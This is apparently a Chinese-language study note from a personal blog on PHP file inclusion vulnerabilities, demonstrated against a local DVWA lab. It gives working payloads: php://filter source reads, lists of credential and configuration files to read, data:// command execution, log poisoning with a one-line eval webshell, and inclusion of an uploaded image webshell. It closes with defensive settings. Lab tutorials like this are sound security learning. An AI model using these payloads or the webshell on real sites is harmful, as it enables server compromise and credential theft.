Web安全测试学习笔记 - 文件包含
基础知识
文件包含指的是一个文件动态引用另一个文件,这是一种非常灵活的动态调用方式。有点类似Java引用jar包,但区别在于jar包引用后一般是固定不变的(一般不能动态改变所引用的jar包名称),而文件包含可以将引用的文件名作为参数传递。php的文件包含举例:
利用原理
引用文件名作为传入参数暴露出来时,用户可传入任意文件名/恶意代码,且程序本身没有进行严格校验/过滤时,便会形成文件包含漏洞。其危害在于:
1. 泄露服务器敏感数据
2. 恶意代码注入(可能导致被getshell)
利用方式
用DVWA的文件包含(PHP+Aapche)举例,首先在php.ini中配置allow_url_fopen = On,allow_url_include = On。
此处通过参数page包含文件
1. 获取源码
输入:http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
得到base64编码后的源码:
解码后得到index源码:
2. 读取服务器敏感文件
常用的系统敏感文件如下:
Windows系统
- c:\boot.ini // 查看系统版本
- c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
- c:\windows\repair\sam // 存储Windows系统初次安装的密码
- c:\ProgramFiles\mysql\my.ini // MySQL配置
- c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
- c:\windows\php.ini // php 配置信息
Linux/Unix系统
- /etc/passwd // 账户信息
- /etc/shadow // 账户密码文件
- /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
- /usr/local/app/php5/lib/php.ini // PHP相关配置
- /etc/httpd/conf/httpd.conf // Apache配置文件
- /etc/my.conf // mysql 配置文件
输入:
http://localhost/dvwa/vulnerabilities/fi/?page=C:/Windows/system.ini
3. 执行操作系统命令
输入: http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php system('whoami');?>
4. 利用日志注入恶意代码
首先通过访问phpinfo找到错误日志的存放路径:
输入:http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo();?>
用错误日志注入的思路是:
-》输入带有注入代码且能引发错误的语句
-》错误日志记录本次的输入(恶意代码注入错误日志)
-》通过文件包含漏洞访问错误日志,恶意代码被执行
输入php一句话木马:http://localhost/dvwa/vulnerabilities/fi/?page=<?php @eval($_POST['cmd']);?>
但是打开错误日志发现尖括号被转义了(抓包改也没用,依然被转义)。。。被转义之后注入代码无法执行,利用错误日志注入的路行不通了...>_<...
换访问日志再试一次(思路是一样的),访问日志尖括号会被编码,抓包改一下之后发现成功写入,一句话木马上传成功。
5. 结合文件上传漏洞
之前写图片上传的时候曾传过一个图片马(y.png)到服务器(https://www.cnblogs.com/sallyzhang/p/11906217.html),如果存在文件包含漏洞,可直接访问该图片马并执行图片马中的代码。
输入:http://localhost/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/y.png
防御方法
1. 使用PHP时配置php.ini:allow_url_fopen = off,allow_url_include = off
2. 对动态包含的文件可以设置白名单,不读取非白名单的文件
3. 尽量不使用动态包含(或者写死)
如需转载,请注明出处,这是对他人劳动成果的尊重~